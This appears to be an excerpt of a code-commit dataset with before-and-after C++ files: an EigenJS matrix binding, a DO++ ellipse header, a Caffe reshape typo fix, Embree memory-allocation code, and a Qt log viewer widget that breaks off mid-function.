CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_vector.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (RowVector::is_rowvector(args[0])) {\n      const RowVector* const& rhs_obj =\n        node::ObjectWrap::Unwrap<RowVector>(args[0]->ToObject());\n      const typename RowVector::value_type& rhs_rowvector = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value *\n          rhs_rowvector.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (MatrixBlock::is_matrixblock(args[0])) {\n      const MatrixBlock* const& rhs_obj =\n        node::ObjectWrap::Unwrap<MatrixBlock>(args[0]->ToObject());\n      const typename MatrixBlock::value_type& rhs_matrixblock = **rhs_obj;\n\n      if (T::is_invalid_matrix_product(obj, rhs_obj)) {\n        NanReturnUndefined();\n      }\n\n      v8::Local<v8::Object> instance = CMatrix::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      CMatrix* new_obj = node::ObjectWrap::Unwrap<CMatrix>(instance);\n      typename CMatrix::value_type& new_cmatrix = **new_obj;\n\n      new_cmatrix = value;\n      new_cmatrix *=\n          rhs_matrixblock.template cast<typename Complex::value_type>();\n\n      NanReturnValue(instance);\n    } else if (T::is_scalar(args[0])) {\n      v8::Local<v8::Object> instance = T::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      U* new_obj = node::ObjectWrap::Unwrap<U>(instance);\n      typename U::value_type& new_value = **new_obj;\n\n      new_value = value * args[0]->NumberValue();\n\n      NanReturnValue(instance);\n    } else if (Complex::is_complex(args[0])) {\n      const Complex* const& rhs_obj =\n          node::ObjectWrap::Unwrap<Complex>(args[0]->ToObject());\n      const typename Complex::value_type& rhs_complex = **rhs_obj;\n\n      v8::Local<v8::Object> instance = T::new_instance(\n        args\n      , sizeof(argv) \/ sizeof(v8::Local<v8::Value>)\n      , argv\n      );\n\n      U* new_obj = node::ObjectWrap::Unwrap<U>(instance);\n      typename U::value_type& new_value = **new_obj;\n\n      new_value = value * rhs_complex;\n\n      NanReturnValue(instance);\n    }\n  }\n\n  EIGENJS_THROW_ERROR_INVALID_ARGUMENT()\n  NanReturnUndefined();\n})\n\n}  \/\/ namespace EigenJS\n\n#endif  \/\/ EIGENJS_CMATRIX_INSTANCE_METHOD_MUL_HPP\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ========================================================================== \/\/\n\/\/ This file is part of DO++, a basic set of libraries in C++ for computer \n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2013 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public \n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file, \n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n#ifndef DO_GEOMETRY_ELLIPSE_HPP\n#define DO_GEOMETRY_ELLIPSE_HPP\n\n#define _USE_MATH_DEFINES\n#include <cmath>\n#include <DO\/Core\/EigenExtension.hpp>\n\nnamespace DO {\n\n  \/\/! Ellipse class\n  class Ellipse\n  {\n  public:\n    Ellipse() {}\n    Ellipse(double radius1, double radius2, double orientation,\n            const Point2d& center)\n      : a_(radius1), b_(radius2), o_(orientation), c_(center) {}\n\n    double radius1() const { return a_; }\n    double radius2() const { return b_; }\n    double orientation() const { return o_; }\n    const Point2d& center() const { return c_; }\n\n    double& radius1() { return a_; }\n    double& radius2() { return b_; }\n    double& orientation() { return o_; }\n    Point2d& center() { return c_; }\n\n    \/\/! Get the radial vector at angle $\\theta$ w.r.t. orientation $o$ of ellipse.\n    Vector2d rho(double theta) const;\n    \/\/! Get point on ellipse at angle $\\theta$ w.r.t. orientation $o$ of ellipse.\n    Point2d operator()(double theta) const;\n    \/*!\n      Retrieve relative orientation of point $p$ w.r.t. orientation \n      $o$ of ellipse.\n     *\/\n    friend double orientation(const Point2d& p, const Ellipse& e);\n    \/\/! Polar antiderivative.\n    friend inline double polarAntiderivative(const Ellipse& e, double theta)\n    {\n      const double y = (e.b_-e.a_)*sin(2*theta);\n      const double x = (e.b_+e.a_) + (e.b_-e.a_)*cos(2*theta);\n      return e.a_*e.b_*0.5*( theta - atan2(y,x) );\n    }\n    \/*!\n      This function should be used instead to compute the **positive** area \n      of an ellipse sector which we define as the region bounded by:\n      - the **counter-clockwise** oriented arc going **from** the endpoint\n        $M(\\theta0)$ **to** endpoint $M(\\theta_1)$.\n      - line segments connecting the center of the ellipse and the endpoints \n        of the arc.\n\n      $\\theta_0$ and $\\theta_1$ are required to be in the range $]\\pi, \\pi]$ but\n      it does not matter if $\\theta_0 > \\theta_1$.      \n     *\/\n    friend double sectorArea(const Ellipse& e, double theta0, double theta1)\n    { return polarAntiderivative(e, theta1) - polarAntiderivative(e, theta0); }\n    \/*!\n      An elliptic segment is a region bounded by an arc and the chord connecting\n      the arc's endpoints.\n     *\/\n    friend double segmentArea(const Ellipse& e, double theta0, double theta1);\n    \/\/! Ellipse area.\n    friend inline double area(const Ellipse& e)\n    { return M_PI*e.a_*e.b_; }\n    \/\/! Shape matrix.\n    friend inline Matrix2d shapeMat(const Ellipse& e)\n    {\n      const Eigen::Rotation2D<double> R(e.o_);\n      Vector2d D( 1.\/(e.a_*e.a_), 1.\/(e.b_*e.b_) );\n      return R.matrix()*D.asDiagonal()*R.matrix().transpose();\n    }\n    friend inline bool inside(const Point2d& p, const Ellipse& e)\n    { return (p-e.c_).transpose()*shapeMat(e)*(p-e.c_) < 1.; }\n    \/\/! I\/O.\n    friend std::ostream& operator<<(std::ostream& os, const Ellipse& e);\n\n  private:\n    double a_, b_;\n    double o_;\n    Point2d c_;\n  };\n\n  \/\/! Compute the ellipse from the conic equation\n  Ellipse fromShapeMat(const Matrix2d& shapeMat, const Point2d& c);\n\n} \/* namespace DO *\/\n\n#endif \/* DO_GEOMETRY_ELLIPSE_HPP *\/<commit_msg>[Geometry] Added documentation to `inside` function for `Ellipse`.<commit_after>\/\/ ========================================================================== \/\/\n\/\/ This file is part of DO++, a basic set of libraries in C++ for computer \n\/\/ vision.\n\/\/\n\/\/ Copyright (C) 2013 David Ok <david.ok8@gmail.com>\n\/\/\n\/\/ This Source Code Form is subject to the terms of the Mozilla Public \n\/\/ License v. 2.0. If a copy of the MPL was not distributed with this file, \n\/\/ you can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n\/\/ ========================================================================== \/\/\n\n#ifndef DO_GEOMETRY_ELLIPSE_HPP\n#define DO_GEOMETRY_ELLIPSE_HPP\n\n#define _USE_MATH_DEFINES\n#include <cmath>\n#include <DO\/Core\/EigenExtension.hpp>\n\nnamespace DO {\n\n  \/\/! Ellipse class\n  class Ellipse\n  {\n  public:\n    Ellipse() {}\n    Ellipse(double radius1, double radius2, double orientation,\n            const Point2d& center)\n      : a_(radius1), b_(radius2), o_(orientation), c_(center) {}\n\n    double radius1() const { return a_; }\n    double radius2() const { return b_; }\n    double orientation() const { return o_; }\n    const Point2d& center() const { return c_; }\n\n    double& radius1() { return a_; }\n    double& radius2() { return b_; }\n    double& orientation() { return o_; }\n    Point2d& center() { return c_; }\n\n    \/\/! Get the radial vector at angle $\\theta$ w.r.t. orientation $o$ of ellipse.\n    Vector2d rho(double theta) const;\n    \/\/! Get point on ellipse at angle $\\theta$ w.r.t. orientation $o$ of ellipse.\n    Point2d operator()(double theta) const;\n    \/*!\n      Retrieve relative orientation of point $p$ w.r.t. orientation \n      $o$ of ellipse.\n     *\/\n    friend double orientation(const Point2d& p, const Ellipse& e);\n    \/\/! Polar antiderivative.\n    friend inline double polarAntiderivative(const Ellipse& e, double theta)\n    {\n      const double y = (e.b_-e.a_)*sin(2*theta);\n      const double x = (e.b_+e.a_) + (e.b_-e.a_)*cos(2*theta);\n      return e.a_*e.b_*0.5*( theta - atan2(y,x) );\n    }\n    \/*!\n      This function should be used instead to compute the **positive** area \n      of an ellipse sector which we define as the region bounded by:\n      - the **counter-clockwise** oriented arc going **from** the endpoint\n        $M(\\theta0)$ **to** endpoint $M(\\theta_1)$.\n      - line segments connecting the center of the ellipse and the endpoints \n        of the arc.\n\n      $\\theta_0$ and $\\theta_1$ are required to be in the range $]\\pi, \\pi]$ but\n      it does not matter if $\\theta_0 > \\theta_1$.      \n     *\/\n    friend double sectorArea(const Ellipse& e, double theta0, double theta1)\n    { return polarAntiderivative(e, theta1) - polarAntiderivative(e, theta0); }\n    \/*!\n      An elliptic segment is a region bounded by an arc and the chord connecting\n      the arc's endpoints.\n     *\/\n    friend double segmentArea(const Ellipse& e, double theta0, double theta1);\n    \/\/! Ellipse area.\n    friend inline double area(const Ellipse& e)\n    { return M_PI*e.a_*e.b_; }\n    \/\/! Shape matrix.\n    friend inline Matrix2d shapeMat(const Ellipse& e)\n    {\n      const Eigen::Rotation2D<double> R(e.o_);\n      Vector2d D( 1.\/(e.a_*e.a_), 1.\/(e.b_*e.b_) );\n      return R.matrix()*D.asDiagonal()*R.matrix().transpose();\n    }\n    \/\/! Checks if point is inside ellipse.\n    friend inline bool inside(const Point2d& p, const Ellipse& e)\n    { return (p-e.c_).transpose()*shapeMat(e)*(p-e.c_) < 1.; }\n    \/\/! I\/O.\n    friend std::ostream& operator<<(std::ostream& os, const Ellipse& e);\n\n  private:\n    double a_, b_;\n    double o_;\n    Point2d c_;\n  };\n\n  \/\/! Compute the ellipse from the conic equation\n  Ellipse fromShapeMat(const Matrix2d& shapeMat, const Point2d& c);\n\n} \/* namespace DO *\/\n\n#endif \/* DO_GEOMETRY_ELLIPSE_HPP *\/<|endoftext|>"}
{"text":"<commit_before>#include \"tonic.h\"\n\nvoid reshape(Net<float> *net, int input_size)\n{\n  int n_in = net->input_blobs()[0]->num();\n  int c_in = net->input_blobs()[0]->channels();\n  int w_in = net->input_blobs()[0]->width();\n  int h_in = net->input_blobs()[0]->height();\n\n  int n_out = net->output_blobs()[0]->num();\n  int c_out = net->output_blobs()[0]->channels();\n  int w_out = net->output_blobs()[0]->width();\n  int h_out = net->output_blobs()[0]->height();\n\n  \/\/ assumes C, H, W are known, only reshapes batch dim\n  if(input_size\/(c_in*w_in*h_in) != n_in) {\n    n_in = input_size\/(c_in*w_in*h_in);\n    LOG(INFO) << \"Reshaping input to dims: \"\n      << n_in << \" \" << c_in << \" \" << w_in << \" \" << h_in;\n    \/\/TODO: may need to add a lock\n    net->input_blobs()[0]->Reshape(n_in, c_in, w_in, h_in);\n\n    n_out = n_in;\n    LOG(INFO) << \"Reshaping outnput to dims: \"\n      << n_out << \" \" << c_out << \" \" << w_out << \" \" << h_out;\n    \/\/TODO: may need to add a lock\n    net->output_blobs()[0]->Reshape(n_out, c_out, w_out, h_out);\n  }\n}\n<commit_msg>typoe<commit_after>#include \"tonic.h\"\n\nvoid reshape(Net<float> *net, int input_size)\n{\n  int n_in = net->input_blobs()[0]->num();\n  int c_in = net->input_blobs()[0]->channels();\n  int w_in = net->input_blobs()[0]->width();\n  int h_in = net->input_blobs()[0]->height();\n\n  int n_out = net->output_blobs()[0]->num();\n  int c_out = net->output_blobs()[0]->channels();\n  int w_out = net->output_blobs()[0]->width();\n  int h_out = net->output_blobs()[0]->height();\n\n  \/\/ assumes C, H, W are known, only reshapes batch dim\n  if(input_size\/(c_in*w_in*h_in) != n_in) {\n    n_in = input_size\/(c_in*w_in*h_in);\n    LOG(INFO) << \"Reshaping input to dims: \"\n      << n_in << \" \" << c_in << \" \" << w_in << \" \" << h_in;\n    \/\/TODO: may need to add a lock\n    net->input_blobs()[0]->Reshape(n_in, c_in, w_in, h_in);\n\n    n_out = n_in;\n    LOG(INFO) << \"Reshaping output to dims: \"\n      << n_out << \" \" << c_out << \" \" << w_out << \" \" << h_out;\n    \/\/TODO: may need to add a lock\n    net->output_blobs()[0]->Reshape(n_out, c_out, w_out, h_out);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"alloc.h\"\n#include \"intrinsics.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Windows Platform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef _WIN32\n\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <malloc.h>\n\nnamespace embree\n{\n  void* alignedMalloc(size_t size, size_t align) \n  {\n    assert((align & (align-1)) == 0);\n    if (size == 0) return nullptr;\n    void* ptr = _aligned_malloc(size,align);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n  \n  void alignedFree(const void* ptr) \n  {\n    if (ptr == nullptr) return;\n    _aligned_free((void*)ptr);\n  }\n\n  void* os_malloc(size_t bytes, const int additional_flags) \n  {\n    int flags = MEM_COMMIT|MEM_RESERVE|additional_flags;\n    char* ptr = (char*) VirtualAlloc(nullptr,bytes,flags,PAGE_READWRITE);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void* os_reserve(size_t bytes)\n  {\n    char* ptr = (char*) VirtualAlloc(nullptr,bytes,MEM_RESERVE,PAGE_READWRITE);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void os_commit (void* ptr, size_t bytes) {\n    VirtualAlloc(ptr,bytes,MEM_COMMIT,PAGE_READWRITE);\n  }\n\n  size_t os_shrink(void* ptr, size_t bytesNew, size_t bytesOld) \n  {\n    size_t pageSize = 4096;\n    bytesNew = (bytesNew+pageSize-1) & ~(pageSize-1);\n    assert(bytesNew <= bytesOld);\n    if (bytesNew < bytesOld)\n      VirtualFree((char*)ptr+bytesNew,bytesOld-bytesNew,MEM_DECOMMIT);\n    return bytesNew;\n  }\n\n  void os_free(void* ptr, size_t bytes) {\n    if (bytes == 0) return;\n    VirtualFree(ptr,0,MEM_RELEASE);\n  }\n\n  void* os_realloc (void* ptr, size_t bytesNew, size_t bytesOld) {\n    NOT_IMPLEMENTED;\n  }\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Unix Platform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(__UNIX__)\n\n#include <sys\/mman.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <string.h>\n\n#if defined(__MIC__)\n#define USE_HUGE_PAGES 1\n#else\n#define USE_HUGE_PAGES 0\n#endif\n\nnamespace embree\n{\n  void* alignedMalloc(size_t size, size_t align)\n  {\n    assert((align & (align-1)) == 0);\n    void* ptr = NULL;\n    align = std::max(align,sizeof(void*));\n    size = (size+align-1)&~(align-1);\n    if (posix_memalign(&ptr,align,size) != 0) throw std::bad_alloc();\n    return ptr;\n  }\n  \n  void alignedFree(const void* ptr) {\n    free((void*)ptr);\n  }\n\n  void* os_malloc(size_t bytes, const int additional_flags)\n  {\n    int flags = MAP_PRIVATE | MAP_ANON | additional_flags;\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      flags |= MAP_HUGETLB;\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n#if __MIC__\n    flags |= MAP_POPULATE;\n#endif\n    char* ptr = (char*) mmap(0, bytes, PROT_READ | PROT_WRITE, flags, -1, 0);\n    if (ptr == nullptr || ptr == MAP_FAILED) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void* os_reserve(size_t bytes)\n  {\n    int flags = MAP_PRIVATE | MAP_ANON | MAP_NORESERVE;\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      flags |= MAP_HUGETLB;\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n#if __MIC__ \/\/ || 1\n    flags |= MAP_POPULATE;\n#endif\n\n    char* ptr = (char*) mmap(0, bytes, PROT_READ | PROT_WRITE, flags, -1, 0);\n    if (ptr == nullptr || ptr == MAP_FAILED) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void os_commit (void* ptr, size_t bytes) {\n  }\n\n  size_t os_shrink(void* ptr, size_t bytesNew, size_t bytesOld) \n  {\n    size_t pageSize = 4096;\n#if USE_HUGE_PAGES\n    if (bytesOld > 16*4096) pageSize = 2*1024*1024;\n#endif\n    bytesNew = (bytesNew+pageSize-1) & ~(pageSize-1);\n    assert(bytesNew <= bytesOld);\n    if (bytesNew < bytesOld)\n      if (munmap((char*)ptr+bytesNew,bytesOld-bytesNew) == -1)\n        throw std::bad_alloc();\n\n    return bytesNew;\n  }\n\n  void os_free(void* ptr, size_t bytes) \n  {\n    if (bytes == 0)\n      return;\n\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n    if (munmap(ptr,bytes) == -1)\n      throw std::bad_alloc();\n  }\n\n  void* os_realloc (void* old_ptr, size_t bytesNew, size_t bytesOld)\n  {\n#if defined(__MIC__)\n    if (bytesOld > 16*4096)\n      bytesOld = (bytesOld+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    else\n      bytesOld = (bytesOld+4095)&ssize_t(-4096);\n\n    if (bytesNew > 16*4096)\n      bytesNew = (bytesNew+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    else\n      bytesNew = (bytesNew+4095)&ssize_t(-4096);\n\n    char *ptr = (char*)mremap(old_ptr,bytesOld,bytesNew,MREMAP_MAYMOVE);\n\n    if (ptr == nullptr || ptr == MAP_FAILED) {\n      perror(\"os_realloc \");\n      throw std::bad_alloc();\n    }\n    return ptr;\n#else\n    NOT_IMPLEMENTED;\n    return nullptr;\n#endif\n\n  }\n}\n\n#endif\n<commit_msg>removed dead code<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2015 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"alloc.h\"\n#include \"intrinsics.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Windows Platform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifdef _WIN32\n\n#define WIN32_LEAN_AND_MEAN\n#include <windows.h>\n#include <malloc.h>\n\nnamespace embree\n{\n  void* alignedMalloc(size_t size, size_t align) \n  {\n    assert((align & (align-1)) == 0);\n    if (size == 0) return nullptr;\n    void* ptr = _aligned_malloc(size,align);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n  \n  void alignedFree(const void* ptr) \n  {\n    if (ptr == nullptr) return;\n    _aligned_free((void*)ptr);\n  }\n\n  void* os_malloc(size_t bytes, const int additional_flags) \n  {\n    int flags = MEM_COMMIT|MEM_RESERVE|additional_flags;\n    char* ptr = (char*) VirtualAlloc(nullptr,bytes,flags,PAGE_READWRITE);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void* os_reserve(size_t bytes)\n  {\n    char* ptr = (char*) VirtualAlloc(nullptr,bytes,MEM_RESERVE,PAGE_READWRITE);\n    if (ptr == nullptr) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void os_commit (void* ptr, size_t bytes) {\n    VirtualAlloc(ptr,bytes,MEM_COMMIT,PAGE_READWRITE);\n  }\n\n  size_t os_shrink(void* ptr, size_t bytesNew, size_t bytesOld) \n  {\n    size_t pageSize = 4096;\n    bytesNew = (bytesNew+pageSize-1) & ~(pageSize-1);\n    assert(bytesNew <= bytesOld);\n    if (bytesNew < bytesOld)\n      VirtualFree((char*)ptr+bytesNew,bytesOld-bytesNew,MEM_DECOMMIT);\n    return bytesNew;\n  }\n\n  void os_free(void* ptr, size_t bytes) {\n    if (bytes == 0) return;\n    VirtualFree(ptr,0,MEM_RELEASE);\n  }\n}\n#endif\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\/ Unix Platform\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(__UNIX__)\n\n#include <sys\/mman.h>\n#include <errno.h>\n#include <stdlib.h>\n#include <string.h>\n\n#if defined(__MIC__)\n#define USE_HUGE_PAGES 1\n#else\n#define USE_HUGE_PAGES 0\n#endif\n\nnamespace embree\n{\n  void* alignedMalloc(size_t size, size_t align)\n  {\n    assert((align & (align-1)) == 0);\n    void* ptr = NULL;\n    align = std::max(align,sizeof(void*));\n    size = (size+align-1)&~(align-1);\n    if (posix_memalign(&ptr,align,size) != 0) throw std::bad_alloc();\n    return ptr;\n  }\n  \n  void alignedFree(const void* ptr) {\n    free((void*)ptr);\n  }\n\n  void* os_malloc(size_t bytes, const int additional_flags)\n  {\n    int flags = MAP_PRIVATE | MAP_ANON | additional_flags;\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      flags |= MAP_HUGETLB;\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n#if __MIC__\n    flags |= MAP_POPULATE;\n#endif\n    char* ptr = (char*) mmap(0, bytes, PROT_READ | PROT_WRITE, flags, -1, 0);\n    if (ptr == nullptr || ptr == MAP_FAILED) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void* os_reserve(size_t bytes)\n  {\n    int flags = MAP_PRIVATE | MAP_ANON | MAP_NORESERVE;\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      flags |= MAP_HUGETLB;\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n#if __MIC__ \/\/ || 1\n    flags |= MAP_POPULATE;\n#endif\n\n    char* ptr = (char*) mmap(0, bytes, PROT_READ | PROT_WRITE, flags, -1, 0);\n    if (ptr == nullptr || ptr == MAP_FAILED) throw std::bad_alloc();\n    return ptr;\n  }\n\n  void os_commit (void* ptr, size_t bytes) {\n  }\n\n  size_t os_shrink(void* ptr, size_t bytesNew, size_t bytesOld) \n  {\n    size_t pageSize = 4096;\n#if USE_HUGE_PAGES\n    if (bytesOld > 16*4096) pageSize = 2*1024*1024;\n#endif\n    bytesNew = (bytesNew+pageSize-1) & ~(pageSize-1);\n    assert(bytesNew <= bytesOld);\n    if (bytesNew < bytesOld)\n      if (munmap((char*)ptr+bytesNew,bytesOld-bytesNew) == -1)\n        throw std::bad_alloc();\n\n    return bytesNew;\n  }\n\n  void os_free(void* ptr, size_t bytes) \n  {\n    if (bytes == 0)\n      return;\n\n#if USE_HUGE_PAGES\n    if (bytes > 16*4096) {\n      bytes = (bytes+2*1024*1024-1)&ssize_t(-2*1024*1024);\n    } else {\n      bytes = (bytes+4095)&ssize_t(-4096);\n    }\n#endif\n    if (munmap(ptr,bytes) == -1)\n      throw std::bad_alloc();\n  }\n}\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>X64: Disable crankshaft if serializerion is enabled.<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>INTEGRATION: CWS swautomatic01 (1.2.324); FILE MERGED 2006\/07\/07 19:57:11 fme 1.2.324.1: #i65476# Automatic styles<commit_after><|endoftext|>"}
{"text":"<commit_before>#include \"logviewer.h\"\n#include \"ui_logviewer.h\"\n#include <QApplication>\n#include <QClipboard>\n#include <QDebug>\n#include <QKeyEvent>\n#include <QMenu>\n#include <QScrollBar>\n\nLogViewer::LogViewer(const QFont &font, QWidget *parent)\n    : QWidget(parent), ui(new Ui::LogViewer), m_default_font(font) {\n  qDebug() << \"font: \" << font.toString();\n  ui->setupUi(this);\n  auto lb = ui->listView;\n\n  m_delegate.m_default_font = m_default_font;\n\n  lb->setAlternatingRowColors(true);\n  lb->setItemDelegate(&m_delegate);\n  lb->setSelectionMode(QAbstractItemView::SelectionMode::ExtendedSelection);\n  lb->installEventFilter(this);\n  lb->setUniformItemSizes(true);\n  lb->setLayoutMode(QListView::LayoutMode::Batched);\n  lb->setSpacing(2);\n\n  lb->setContextMenuPolicy(Qt::ContextMenuPolicy::CustomContextMenu);\n  connect(lb, SIGNAL(customContextMenuRequested(const QPoint &)), this,\n          SLOT(customContextMenu(const QPoint &)));\n  connect(lb->verticalScrollBar(), &QScrollBar::rangeChanged, this,\n          &LogViewer::onScrollRangeChanged);\n  connect(ui->actioncopy, &QAction::triggered, this, &LogViewer::copySelectedSlot);\n}\n\nLogViewer::~LogViewer() {\n  delete ui;\n}\n\nvoid LogViewer::setModel(Log *model_) {\n  this->ui->listView->setModel(model_);\n  model_->setListVoxObject(this->ui->listView);\n  m_model = model_;\n  connect(model_, SIGNAL(rowsInserted(QModelIndex, int, int)), this->ui->listView,\n          SLOT(scrollToBottom()));\n}\n\nvoid LogViewer::setAutoScroll(bool value) {\n  m_autoscroll = value;\n  if (value) {\n    ui->listView->scrollToBottom();\n  }\n}\n\nvoid LogViewer::onScrollRangeChanged(int min, int max) {\n  Q_UNUSED(min);\n  Q_UNUSED(max);\n  if (m_autoscroll) {\n    ui->listView->scrollToBottom();\n  }\n}\n\nvoid LogViewer::copySelectedSlot() {\n  qDebug() << \"copySelectedSlot\";\n  auto selectedIndexes = this->ui->listView->selectionModel()->selectedIndexes();\n  QClipboard *clipboard = QApplication::clipboard();\n  QStringList sl;\n  for (auto &i : selectedIndexes) {\n    auto plainText = m_model->plainText(i);\n    plainText.remove(\"\\u0000\");\n    plainText.remove(\"\\0\");\n    plainText.remove('\\r');\n    plainText.remove('\\n');\n    sl.append(plainText);\n  